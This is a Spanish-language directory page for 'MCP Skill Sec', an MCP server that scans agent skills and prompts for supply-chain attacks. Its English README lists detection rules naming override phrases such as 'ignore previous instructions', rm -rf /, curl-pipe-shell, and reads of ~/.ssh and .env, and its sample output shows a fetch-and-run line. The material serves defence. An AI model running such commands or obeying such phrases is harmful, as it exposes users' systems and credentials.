Prototipo · Versión preliminar: todos los servidores del registro oficial, sincronizados cada 30 minutos. Las reseñas y las cuentas llegarán en una etapa posterior.
PopNx MCPServidores MCP para quienes usan IA · explicados con palabras sencillas

MCP Skill Sec

de sudo-ai-gitversión 1.0.0i★ –iSe ejecuta en tu computadora
Nombre en el registroio.github.sudo-ai-git/mcp-skill-sec

Instalar

Resumen

Descripción del creador (original en inglés)

Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.

Los tres pilares de PopNx MCP

Estos tres nunca se combinan en una sola puntuación: las opiniones, las mediciones y la popularidad son cosas distintas.

Qué puedes hacer con él

Todavía no escribimos un resumen sencillo para este. Abajo están los datos que leímos del registro.

  • Conexión: Se ejecuta en tu computadora
  • Transporte: stdio
  • Categoría: Búsqueda y memoria de IA

Instalación

Elige la app de IA que usas y copia la configuración.

Antes de instalar

Necesitas

  • PyPIuv de Python instalado (para el comando uvx)

¿Qué app usas?

Elige tu app arriba. La recordamos, así que la próxima vez el botón dirá “Instalar en …”.

Abre Claude Desktop → Settings → Developer → Edit Config y pega esto en claude_desktop_config.json

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

Ejecuta esto en tu terminal

claude mcp add skill-sec -- uvx mcp-skill-sec

Abrir en Cursor

O copia la configuración tú

Pégalo en .cursor/mcp.json de tu proyecto, o en ~/.cursor/mcp.json

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

Tu navegador te pide permiso para abrir la app; luego la app muestra la configuración y te pide confirmar. Los valores de las claves quedan vacíos para que los completes tú.

Abrir en VS Code

O copia la configuración tú

Pégalo en .vscode/mcp.json de tu proyecto

{
  "servers": {
    "skill-sec": {
      "type": "stdio",
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

Tu navegador te pide permiso para abrir la app; luego la app muestra la configuración y te pide confirmar. Los valores de las claves quedan vacíos para que los completes tú.

Este se ejecuta en tu computadora, y ChatGPT solo puede conectarse a servidores en internet. Elige otra app.

Tu elección se guarda en una cookie en este dispositivo; no necesitas cuenta.

Esta configuración se genera a partir de la ficha del creador en el registro. Si el README dice otra cosa, sigue el README.

Qué puede hacer

Se ejecuta en tu computadora; la lista de herramientas aparece en tu app de IA después de instalarlo.

Revisiones básicasi

Revisamos información que cualquiera puede ver; no hemos leído el código. Las revisiones que no aplican no se cuentan. · Revisado el 6 nov 2026

  • ✓ Superada

    El creador coincide con el repo

    El nombre en el registro se verificó con la cuenta de GitHub sudo-ai-git, dueña del repo

  • … Aún sin revisar

    Sigue en mantenimiento

    Todavía no hemos leído este repo en GitHub

  • … Aún sin revisar

    Tiene licencia

    Todavía no hemos leído este repo en GitHub

  • – No aplica

    El endpoint responde

    Este se ejecuta en tu computadora; no hay endpoint en internet

  • – No aplica

    Inicio de sesión con OAuth

    Se ejecuta en tu computadora y usa ajustes locales en su lugar

  • … Aún sin revisar

    Sin instrucciones ocultas en las descripciones de herramientas

    Se ejecuta en tu computadora; solo podemos leer listas de herramientas de endpoints en internet

Comparado con otros en Búsqueda y memoria de IAi

  • Más estrellas que el 0% de los otros 7243 servidores de esta categoría
  • Publicado en el registro más recientemente que el 34% de los otros 7243 servidores de esta categoría
  • Revisiones básicas iguales o mejores que el 100% de los otros 7243 servidores de esta categoría

Comparado con todos los servidores activos de esta categoría en el registro. Las estrellas solo cuentan cuando quien lo publica es dueño del repo.

Preguntas frecuentes

¿Es seguro MCP Skill Sec?

Superó 1 de 1 revisiones básicas aplicables. No hemos leído el código. Antes de agregar una clave o un token, revisa qué acceso pide el servidor y usa una clave que tenga solo los permisos que necesitas.

¿Qué claves o códigos necesita?

El registro no indica ninguna clave obligatoria, aunque algunos servidores te piden iniciar sesión la primera vez que los usas.

¿Se ejecuta en mi computadora o en la nube?

Se ejecuta en tu computadora. Tu app de IA lo inicia cuando hace falta, y los datos no pasan por los servidores del creador (a menos que el propio servidor llame a un servicio en línea).

¿Sigue en mantenimiento?

El repo de GitHub cambió por última vez –, y la última versión (1.0.0) llegó al registro hace 2 meses.

¿Qué apps pueden usarlo?

Las apps compatibles con MCP, como Claude Desktop, Claude Code, Cursor y VS Code. También necesitas Python (uv) en tu computadora.

¿Qué puedo usar en su lugar?

En la misma categoría: Context7, Codebase Memory, Exa

Alternativas

Servidores de la misma categoría hechos por otros creadores, ordenados por estrellas.

Cómo leer una tarjeta:★ Estrellas de GitHubiTres pilares: reseñas · revisiones · usoiActualizado = fecha en que se publicó la última versión en el registroi

Context7

de upstash

Up-to-date docs for AI agents

Computadora o nube★ 64.224MITActualizado hace 3 días
Instalar

Codebase Memory

de DeusData

Codebase knowledge graph for AI agents — 162 languages, sub-ms queries, 99% fewer tokens.

Se ejecuta en tu computadora★ 48.148MITActualizado hace 20 días
Instalar

Exa

de exa-labs

Connect AI agents to Exa for web search, content fetching, and multi-step research.

Se ejecuta en la nube★ 5213MITActualizado hace 44 días
Instalar

README del creador

Abrir el README

Copiado tal cual del repo del creador. PopNx MCP no lo ha revisado ni lo respalda. Se quitaron HTML, imágenes y scripts. Los enlaces llevan fuera de este sitio.

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

RulePattern
R1Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides)
R2Data exfiltration intent (send/post/email contents to a URL, log theft)
R3Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4Dangerous commands (rm -rf /, `curl \sh`, fork bombs, raw device writes)
R5Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7Credential access (reading ~/.ssh, .aws/credentials, .env)
R8Privilege escalation (sudo -s, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

  • audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
  • audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
  • audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
  • rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec

then register with your agent:

mcp-skill-sec # run stdio server mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

pip install mcp

python3 mcp_server.py # run stdio mcp install mcp_server.py --name skill-sec # register with Claude Desktop

Claude Desktop / agent config
{

"mcpServers": { "skill-sec": { "command": "mcp-skill-sec", "args": [] } } }

   

Example

skill-sec: /tmp/downloaded-skill/SKILL.md

verdict : FLAG counts : critical 1, high 2, medium 1, low 0 R3 [critical] line 11: api_key = "sk-live-…" R3 [high] line 14: password = "hunter2" R4 [critical] line 22: curl https://x/y.sh | sh action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

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